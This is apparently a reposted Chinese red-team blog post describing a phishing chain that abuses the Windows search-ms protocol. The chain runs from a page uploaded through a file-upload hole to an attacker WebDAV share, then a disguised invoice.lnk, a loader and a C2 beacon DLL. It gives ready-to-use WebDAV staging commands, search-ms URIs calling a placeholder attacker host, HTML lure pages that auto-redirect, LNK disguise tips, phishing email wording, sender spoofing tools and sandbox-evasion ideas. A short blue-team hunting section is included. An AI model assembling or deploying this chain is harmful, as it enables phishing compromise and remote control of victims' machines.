Sublarge

// 红队渗透 · 2026-10-31

红队研究:利用search-ms协议跳转的html钓鱼姿势

攻击链:文件上传漏洞 → 上传恶意静态 HTML(托管于受害业务站点) → search-ms 协议跳转 → 公网 WebDAV 共享 → invoice.lnk → beacon.exe → beacon.dll本文为红队技术研究文档,仅用于授权渗透测试、红蓝对抗与防御研究;。ATT&CK 映射:T1566.001(钓鱼邮件)、T1204.002(用户执行)、T1041(C2 通信)、T1218(代理执行)

攻击链:文件上传漏洞 → 上传恶意静态 HTML(托管于受害业务站点) → search-ms 协议跳转 → 公网 WebDAV 共享 → invoice.lnk → beacon.exe → beacon.dll

本文为红队技术研究文档,仅用于授权渗透测试、红蓝对抗与防御研究;严禁在未授权环境使用。

ATT&CK 映射:T1566.001(钓鱼邮件)、T1204.002(用户执行)、T1041(C2 通信)、T1218(代理执行)


0. 攻击原理总览

这条链路的本质不是漏洞利用,而是对 Windows 原生 Shell 能力的滥用。理解这一点,是理解整条攻击链设计逻辑的前提。

search-ms 是 Windows 注册的搜索协议,由 ExplorerFrame.dll 接管处理。其 crumb=location 参数可以强制资源管理器加载一个远程 UNC 路径,而 \\host@port\share 是 Windows Shell 专门为 WebDAV 支持的 UNC 语法——它区别于 SMB 的 \\host\share,是整条链路能够绕开出站策略的关键。

两种协议在实战中的差异非常明显:

  • SMB 走 445 端口,绝大多数企业边界防火墙直接拦截,出站几乎不可行;
  • WebDAV 基于 HTTP/HTTPS,可跑在任意端口,更容易穿透出站策略,且流量特征贴近正常 HTTPS 访问。

攻击者在公网 VPS 上搭建匿名只读 WebDAV,托管 invoice.lnk、beacon.exe、beacon.dll 三个文件。诱饵 PDF/HTML 携带 search-ms: 链接,用户点击后,浏览器把 URI 交给系统协议处理器,唤起 explorer.exe 去连接公网 WebDAV,展示目录内的 LNK。用户二次点击 LNK,Shell 从 WebDAV 远程拉取载荷执行,最终加载 Beacon DLL 上线 C2。

整个链路的核心优势可以归纳为四点:

  1. 载荷延迟触发:入口文件本身不含恶意代码,载荷在用户第二次交互时才被拉取;
  2. 入口文件是 PDF/HTML 白文件:邮件网关和静态扫描难以定性;
  3. 静态沙箱难以模拟完整交互:从“打开 PDF → 唤起资源管理器 → 双击 LNK”的完整用户行为链,沙箱往往在第一步就终止;
  4. 大量 EDR、邮件网关的静态规则无法覆盖:因为每一环单看都是合法系统行为。

1. 攻击者基础设施准备

1.1 服务器选型

WebDAV 服务器独立部署在攻击者可控 VPS,与被攻陷的业务域名完全隔离,推荐 Ubuntu/Debian。这种隔离是有意为之:即使蓝队溯源到投递站,也无法直接关联到受害业务站点。

部署要点:

  • 推荐 HTTPS WebDAV + 域名 + 合法证书:Windows 对 HTTPS WebDAV 兼容性更好,流量特征更贴近正常 HTTPS;
  • 端口规划:HTTP 5000 / HTTPS 443;防火墙仅放行 WebDAV 端口,严格限制 22、445 等高风险端口对公网开放;
  • 权限:只读匿名访问,仅允许下载,禁止写入。这一点至关重要——防止蓝队上传文件溯源、打日志、反向探测。

1.2 部署 WebDAV 服务

WsgiDAV 是 Python 实现的轻量 WebDAV,部署简单、适合红队临时投递站。

# 安装依赖
pip3 install wsgidav cheroot
# 新建投递根目录
mkdir -p /opt/webdav_staging/dec
cd /opt/webdav_staging/dec
# 放入载荷:invoice.lnk、beacon.exe、beacon.dll
# 启动匿名只读WebDAV,监听0.0.0.0:5000
wsgidav --host=0.0.0.0 --port=5000 --root=/opt/webdav_staging --auth=anonymous
bash8 行

启动后,公网地址格式为 http://vps-ip:5000/dec/,对应的 UNC 路径(放入 search-ms)为 \\VPSIP@5000\dec。

如果是 HTTPS WebDAV,UNC 写法增加 @SSL 标记:\\VPSIP@SSL@443\dec,Windows Shell 会识别为 HTTPS WebDAV。

1.3 载荷准备(Staging 目录)

/opt/webdav_staging/dec 下放置 3 个文件:

  1. invoice.lnk:恶意快捷方式,核心触发载体;
  2. beacon.exe:Loader/Stager,两种主流方案:
    • 方案 A:自定义反射加载器,读取同目录 beacon.dll,内存反射注入,不落地;
    • 方案 B:LOLBIN 劫持,LNK 目标指向 rundll32.exe beacon.dll,Entry,利用微软签名白程序代理执行;
  3. beacon.dll:CS/Sliver/Havoc 原始 Beacon DLL,C2 核心,提前配置 Malleable Profile、Jitter、Sleep Mask。

invoice.lnk 构造要点

  • 图标替换为 PDF 图标,文件名 invoice.lnk,Windows 默认隐藏后缀时,受害者看到的是 invoice;
  • 运行方式设置为隐藏窗口,避免弹出黑 CMD 窗口;
  • 工作目录设置为 WebDAV UNC 路径,保证 rundll32/loader 可以直接在远程共享目录读取 DLL;
  • 不要在 LNK 硬编码 C2 地址,C2 配置全部放在 beacon.dll 内部,方便后续轮换投递站。

注意:Windows 在 WebDAV 目录下双击 LNK 时,Shell 会直接从 WebDAV 流读取文件,默认行为可以做到不落地写入本地磁盘,属于内存阶段加载,规避大量文件落地类检测。

1.4 构造 search-ms URI(核心)

红队在前期渗透中发现目标业务存在文件上传漏洞:图片上传、附件上传、头像上传、文档上传接口,允许上传后缀 .html 静态文件,并且上传后的文件可以直接通过 HTTP 访问。这为诱饵页面提供了一个“合法业务域名”的宿主。

核心 URI 如下:

search-ms:query=decoy&crumb=location:\\VPSIP@5000\dec&displayname=Invoice Document
text1 行

字段拆解:

  • search-ms::协议头,Windows 注册协议处理器,由 ExplorerFrame.dll 接管;
  • query=decoy:装饰性搜索词,几乎不影响执行,仅用于迷惑日志;
  • crumb=location:\\VPSIP@5000\dec:最关键参数,告诉搜索组件搜索范围绑定到这个 WebDAV UNC 路径;Explorer 会主动连接这个共享、枚举目录;
  • displayname=Invoice Document:自定义资源管理器窗口标题,替换默认“搜索结果”,降低用户警惕。

URL 编码版本(放在 HTML 超链接、PDF Action 里):

search-ms:query=decoy&crumb=location:%5C%5CVPSIP@5000%5Cdec&displayname=Invoice%20Document
text1 行

版本 1:点击触发(推荐,降低浏览器自动协议拦截风险)

<html>
<head>
<meta charset="utf-8">
<title>财务发票预览</title>
</head>
<body style="text-align:center;margin-top:100px;font-family:Microsoft Yahei;">
    <h3>供应商结算发票</h3>
    <p>预览模式加载受限,请点击下方链接打开完整单据</p>
    <a href="search-ms:query=decoy&crumb=location:\\VPSIP@5000\dec&displayname=Invoice Document">查看完整发票</a>
</body>
</html>
html11 行

版本 2:页面加载自动跳转(攻击成功率更高,但更容易触发浏览器协议弹窗拦截)

<html>
<head>
<meta charset="utf-8">
<title>财务发票预览</title>
<script>
window.onload = function(){
    location.href = "search-ms:query=decoy&crumb=location:\\VPSIP@5000\dec&displayname=Invoice Document";
}
</script>
</head>
<body>
<p>正在加载发票文档...</p>
</body>
</html>
html14 行

1.5 诱饵文档 invoice.pdf(两种实现)

方式 1:HTML 伪装 PDF(最常用)

文件命名 invoice.pdf.html,图标修改为 PDF 图标;Outlook/邮件客户端预览时,用户很容易当成 PDF。

<html>
<head>
<title>Invoice</title>
</head>
<body style="text-align:center">
<p>Invoice Preview</p>
<a href="search-ms:query=decoy&crumb=location:\\VPSIP@5000\dec&displayname=Invoice Document">Click to view full invoice</a>
</body>
</html>
html9 行

进阶:页面加载时 JS 自动跳转触发,减少用户点击步骤:

window.location.href = "search-ms:query=decoy&crumb=location:\\VPSIP@5000\dec&displayname=Invoice Document";
js1 行

方式 2:真 PDF,嵌入 OpenURI Action

使用 PDF 的 /OpenAction 或者注释链接,写入 search-ms 链接。

限制:新版 Adobe Acrobat、Edge 内置 PDF 阅读器会对外部协议链接做弹窗提示,触发门槛比 HTML 高;很多红队项目优先使用 HTML 伪装 PDF。

1.6 钓鱼邮件投递

邮件伪装成供应商、财务发票通知,正文诱导话术:

您好,附件为本月结算发票,请点击查看完整单据;如无法预览,请点击链接打开。

  • 附件:invoice.pdf.html;
  • 可选:邮件正文直接放 search-ms 超链接;
  • 发送工具:swaks、sendEmail,伪造发件人,匹配企业内部邮箱样式;
  • 测试:先在自己的测试靶机、沙箱测试,确认协议唤起、WebDAV 连接、LNK 执行全链路正常。

2. 受害者端完整触发时序

受害者环境:Windows 10/11,默认协议处理器、默认文件资源管理器设置。以下四个步骤构成完整的交互链。

Step 1:用户接收邮件,打开附件 invoice.pdf.html

用户看到 PDF 样式的页面,点击“查看发票”链接。浏览器识别 search-ms: 协议,弹出系统协议提示框:“是否允许此页面打开 Windows 资源管理器?”

这是一个天然的减速点,很多现代浏览器会拦截、弹窗确认;这也是为什么部分红队会优先用 HTML 自动跳转、或者在企业内网(组策略信任内部站点)使用。用户点击“允许”,控制权交给系统 ExplorerFrame.dll。

Step 2:ExplorerFrame 解析 search-ms 参数,发起 WebDAV 连接

explorer.exe 启动,解析 crumb=location 里的 UNC \\VPSIP@5000\dec。Windows Shell 识别 @5000 语法,走 WebDAV(HTTP)而不是 SMB,向公网 VPS 的 5000 端口发起 HTTP PROPFIND 请求(WebDAV 目录枚举请求)。WebDAV 服务返回 dec 目录下的文件列表:invoice.lnk、beacon.exe、beacon.dll。资源管理器弹出窗口,标题是攻击者设置的 Invoice Document,窗口内展示目录文件,invoice.lnk 使用 PDF 图标。

重点区分:传统 search-ms crumb location + SMB 是自动强制认证、抓 NTLM 哈希;本链路目标不是抓哈希,而是展示 LNK 给用户二次点击,属于交互式载荷投递。

Step 3:受害者双击 invoice.lnk

Shell 读取 LNK 二进制内的目标命令、工作目录参数。因为工作目录是远程 WebDAV 共享,Shell 直接从 VPS 的 WebDAV 流读取 beacon.exe 或者 beacon.dll:

  • 如果 LNK 目标是 rundll32.exe beacon.dll,Entry:explorer.exe 衍生 rundll32.exe,rundll32 直接从 WebDAV 路径加载 DLL;
  • 如果 LNK 目标是自定义 loader beacon.exe:启动 loader,loader 继续从 WebDAV 读取 beacon.dll,做反射 DLL 注入。

Step 4:beacon.dll 执行,C2 上线

DLL 入口执行,初始化 Beacon 配置:读取内置 C2 地址、Sleep、Jitter、通信 Profile。向外发起 HTTP/HTTPS C2 回连,Beacon 会话在内存运行。根据 payload 配置,可开启 AMSI/ETW 绕过、进程注入、凭证抓取等能力。整个阶段,载荷文件可以不落地写入受害者本地磁盘,仅在内存流加载。


3. OPSEC 风险与蓝队狩猎点

3.1 攻击者侧风险

  1. WebDAV 访问日志:VPS 上会记录所有受害者 IP、PROPFIND、GET 请求;蓝队拿到 IOC 后可溯源访问日志;
  2. 协议弹窗:Edge、Chrome 默认会弹出协议确认提示,用户有可能拒绝;
  3. 网络特征:出站 WebDAV PROPFIND 请求是强特征;
  4. 静态 IOC:lnk、beacon.dll 哈希一旦被捕获,后续直接被拦截;
  5. 组策略限制:部分企业通过 GPO 禁用外部 UNC、WebDAV、search-ms 协议调用,直接阻断链路。

3.2 蓝队检测狩猎思路(红队对抗参考)

  1. 监控 search-ms 协议调用、ExplorerFrame.dll 被调用;
  2. 监控 explorer.exe 子进程链:explorer → rundll32,且 rundll32 加载的 DLL 路径是 \\xxx@port\ WebDAV UNC;
  3. 网络层:监控终端向外发起 PROPFIND(WebDAV)请求;
  4. 邮件网关:拦截 PDF/HTML 内包含 search-ms: 的链接;
  5. 注册表审计:HKCR\search-ms 协议处理器;
  6. 进程日志:监控从 WebDAV 远程路径加载 DLL 的 rundll32、regsvr32。

3.3 红队优化方向(进阶改造)

  1. 使用 HTTPS WebDAV + 合法域名证书,流量伪装成正常网站;
  2. 动态轮换投递站:VPS 和载荷随时替换,一封钓鱼邮件对应一个临时 WebDAV 目录;
  3. 替换 LNK 为 .url、.scf 等其他 Shell 文件;
  4. 增加沙箱检测:WebDAV 服务端识别沙箱 IP,返回空目录,不返回 lnk;
  5. 把 LNK 加载逻辑改成间接启动,使用 PPID 欺骗混淆进程链。

4. 小结

这条投递链的价值不在于任何单点技术的新颖性,而在于把若干合法 Windows 机制串联成一条静态检测难以覆盖的交互式攻击路径:文件上传漏洞提供合法域名宿主,search-ms 协议完成从浏览器到资源管理器的跳转,WebDAV 突破出站边界,LNK 承担二次交互触发,最终以内存加载方式完成 C2 上线。对红队而言,其可优化空间集中在流量伪装(HTTPS + 证书)、投递站轮换与沙箱识别;对蓝队而言,狩猎重心应放在 search-ms 协议调用、explorer → rundll32 进程链以及出站 PROPFIND 请求三个高价值信号上。攻防双方围绕同一组系统行为的博弈,正是这类“原生能力滥用”型攻击链的典型特征。

原文 https://blog.csdn.net/2301_79518550/article/details/169643257